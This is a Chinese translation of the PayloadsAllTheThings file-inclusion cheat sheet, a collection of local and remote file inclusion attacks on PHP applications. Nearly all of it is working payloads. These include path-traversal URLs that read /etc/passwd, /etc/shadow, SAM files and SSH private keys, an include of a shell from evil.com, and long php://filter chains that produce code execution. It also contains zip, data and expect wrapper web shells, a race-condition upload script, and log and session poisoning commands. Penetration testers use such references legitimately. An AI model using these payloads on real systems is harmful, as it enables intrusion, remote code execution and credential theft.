【翻译】PayloadsAllTheThings——文件包含 (File Inclusion)
- 文件包含 (File Inclusion)
- 参考工具
- 基础本地文件包含 (Basic LFI)
- 基础远程文件包含 (Basic RFI)
- 使用包装器进行本地/远程文件包含 (LFI / RFI using wrappers)
- 通过包含/proc/*/fd进行RCE (LFI to RCE via /proc/*/fd)
- 通过包含/proc/self/environ进行RCE (LFI to RCE via /proc/self/environ)
- 通过上传进行RCE (LFI to RCE via upload)
- 通过竞争上传进行RCE (LFI to RCE via upload (race))
- PHP_Session文件上传进行RCE
- 通过Windows的FindFirstFile上传文件进行RCE (LFI to RCE via upload (FindFirstFile))
- 通过phpinfo() 进行文件包含从而RCE (LFI to RCE via phpinfo())
- 通过包含可被控制的日志文件进行RCE (LFI to RCE via controlled log file)
- 通过包含PHP sessions进行RCE (LFI to RCE via PHP sessions)
- 通过包含凭证文件进行RCE (LFI to RCE via credentials files)
- 参考资料 (References)
文件包含 (File Inclusion)
本文翻译自:swisskyrepo/PayloadsAllTheThings
在原文基础增加了未提到的利用方法。
github上该项目,同目录下有关文件包含的Intruder
2022-12-15 翻译第一版
文件包含漏洞允许攻击者包含一个文件,通常是利用目标应用中实现的“动态文件包含”机制。
路径穿越漏洞允许攻击者访问文件,通常是利用目标应用中实现的“读取”机制。
参考工具
Kadimus - https://github.com/P0cL4bs/Kadimus
LFISuite - https://github.com/D35m0nd142/LFISuite
fimap - https://github.com/kurobeats/fimap
panoptic - https://github.com/lightos/Panoptic
基础本地文件包含 (Basic LFI)
在下面的例子中,我们包含了/etc/passwd
文件,阅读【翻译】PayloadsAllTheThings——目录遍历 (Directory Traversal)内容,以获得更多有趣的文件。
空字节 (Null byte)
在PHP 5.3.4以下的版本中,我们可以用空字节终止。
http://example.com/index.php?page=../../../etc/passwd%00
双重编码 (Double encoding)
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8编码 (UTF-8 encoding)
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
路径和点截断 (Path and dot truncation)
在大多数PHP版本中,超过4096字节的文件名将被截断,因此任何多余的字符都将被丢弃
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
绕过过滤技巧 (Filter bypass tricks)
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///....//etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
使用多级软链接绕过文件判断
通过使用多级软链接绕过文件判断,使得require_once
可以多次包含同一个文件
如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径:
<?php
require_once '/www/config.php';
include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';
基础远程文件包含 (Basic RFI)
大部分LFI绕过滤的方法也可应用在RFI上
http://example.com/index.php?page=http://evil.com/shell.txt
绕过allow_url_include (Bypass allow_url_include)
当allow_url_include
和allow_url_fopen
设置为Off
时,仍可使用smb协议
在Windows上包含远程文件。
- 创建一个共享开放给所有人
- 写恶意文件 : shell.php
- 包含它 http://example.com/index.php?page=\10.0.0.1\share\shell.php
使用包装器进行本地/远程文件包含 (LFI / RFI using wrappers)
php://filter 包装器
php://filter
这几个字母是可以不区分大小写
的,可写成PhP://FilTer
有关PHP大小写敏感的问题可以参考这篇文章,虽然也不太全:https://blog.csdn.net/songkexin/article/details/6757779
常用过滤器大致分为四类:字符、转换、压缩、加密
- string filter(字符过滤器)
- string.rot13 (对字符串执行 ROT13 转换)
- 例:php://filter/string.rot13/resource=flag.php
- string.toupper (转大写)
- 例:php://filter/string.toupper/resource=flag.php
- string.tolower (转小写)
- string.strip_tags (去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
- 例:php://filter/string.strip_tags/resource=flag.php
- string.rot13 (对字符串执行 ROT13 转换)
- conversion filter (转换过滤器)
- convert.base64-encode & convert.base64-decode (base64加密 base64解密)
- 例:php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
- 例:php://filter/convert.base64-encode/resource=flag.php
- convert.base64-encode & convert.base64-decode (base64加密 base64解密)
- compression filter(压缩过滤)
- zlib.deflate & zlib.inflate(压缩 解压)
- 例:php://filter/zlib.deflate/resource=flag.php php://filter/zlib.inflate/resource=flag.php
- bzip2.compress & bzip2.decompress(zip 压缩 解压)
- zlib.deflate & zlib.inflate(压缩 解压)
- encryption filter(加密过滤器)
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
Wrappers can be chained with a compression wrapper for large files.
对于大文件可以链式使用压缩包装器
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
注意:包装器可以使用|
或/
进行多次链式使用
多次base64解码:php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s
如果碰到不能解析的过滤器时会自动跳过
也有种办法将php://filter变为RCE
synacktiv/php_filter_chain_generator:在命令行中生成PHP过滤器链
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
LFI2RCE.py 生成payload
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
zip:// 包装器
- 创建恶意文件
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
- 使用zip压缩文件
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
- 上传压缩文件并通过包装器进行访问:
http://example.com/index.php?page=zip://shell.jpg%23payload.php
data:// 包装器
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
你可以通过使用包装器http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
绕过CHrome审计并触发XSS
expect:// 包装器
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input:// 包装器
可以用一个简单的curl命令来完成在POST参数中指定有效负载。
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
或者使用Kadimus自动攻击
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
phar:// 包装器
创建一个在meta-data中包含序列化对象的phar文件
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
具体可触发的利用点参考此篇博文:https://blog.csdn.net/unexpectedthing/article/details/122930867
通过包含/proc/*/fd进行RCE (LFI to RCE via /proc/*/fd)
- 上传大量shell (举个例子:100个)
- 包含http://example.com/index.php?page=/proc/$PID/fd/$FD,$PID和$FD都可暴力破解
通过包含/proc/self/environ进行RCE (LFI to RCE via /proc/self/environ)
像日志文件一样,在User-Agent中发送有效负载,它将反映在/proc/self/environ文件中
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
通过上传进行RCE (LFI to RCE via upload)
如果你可以上传一个文件,只需将shell有效负载注入其中(例如:<?php system($_GET['c']); ?>
)
http://example.com/index.php?page=path/to/uploaded/file.png
为了保持文件的可读性,最好注入在图片/doc/pdf的元数据
通过竞争上传进行RCE (LFI to RCE via upload (race))
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
PHP_Session文件上传进行RCE
https://blog.csdn.net/soldi_er/article/details/117029481
通过Windows的FindFirstFile上传文件进行RCE (LFI to RCE via upload (FindFirstFile))
只适用于Windows操作系统
FindFirstFile
允许使用通配符(<<
当做 *
,>
当做 ?
)在文件包含的路径中
- 上传一个文件,它应该存储在临时文件夹
C:\Windows\Temp\
- 再去包含,
http://site/vuln.php?inc=c:\windows\temp\php<<
通过phpinfo() 进行文件包含从而RCE (LFI to RCE via phpinfo())
PHPinfo() 会展示许多变量的内容,其中就有$_GET, $_POST, $_FILES
通过对PHPInfo脚本进行多次上传,并仔细控制读取操作,可以检索临时文件的名称,并向指定临时文件名的LFI脚本发出请求。
可用脚本phpInfoLFI.py利用
有关研究:https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
通过包含可被控制的日志文件进行RCE (LFI to RCE via controlled log file)
只需通过向服务(Apache, SSH…)执行请求,将PHP代码追加到日志文件中,并包含日志文件。
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
通过ssh进行RCE (RCE via SSH)
尝试使用PHP代码<?php system($_GET["cmd"]);?>
作为用户名ssh尝试连入
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
然后在Web应用程序中包含SSH日志文件
http://example.com/index.php?page=/var/log/auth.log&cmd=id
通过SMTP进行RCE (RCE via Mail)
首先使用SMTP发送电子邮件,然后包含的日志文件
http://example.com/index.php?page=/var/log/mail
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
在某些情况,你也可以直接用命令行的mail命令进行邮件发送
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
通过Apache日志RCE (RCE via Apache logs)
污染UA或URL
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
注意:日志将转义双引号,因此在PHP有效负载中对字符串使用单引号
然后通过本地文件包含请求日志并执行您的命令。
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
通过包含PHP sessions进行RCE (LFI to RCE via PHP sessions)
查看网站是否使用php session
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
session会存储在/var/lib/php5/sess_[PHPSESSID]
或 /var/lib/php/session/sess_[PHPSESSID]
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
设置cookie为<?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
之后进行包含
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
通过包含凭证文件进行RCE (LFI to RCE via credentials files)
这种方法需要应用程序内部的高权限才能读取敏感文件。
Windows版本
先获取sam
和 system
文件,再破解
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
Linux版本
先获取/etc/shadow
文件,再破解
http://example.com/index.php?page=../../../../../../etc/shadow
另一种方法是读取私钥文件id_rsa /<HOME>/.ssh/id_rsa
参考资料 (References)
OWASP LFI
HighOn.coffee LFI Cheat
Turning LFI to RFI
Is PHP vulnerable and under what conditions?
Upgrade from LFI to RCE via PHP Sessions
Local file inclusion tricks
CVV #1: Local File Inclusion - SI9INT
Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos
Baby^H Master PHP 2017 by @orangetw
Чтение файлов => unserialize !
New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse
It’s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas
CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018
Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction
PHP LFI with Nginx Assistance
PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18
LFI2RCE via PHP Filters - HackTricks
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files - @loknop
PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022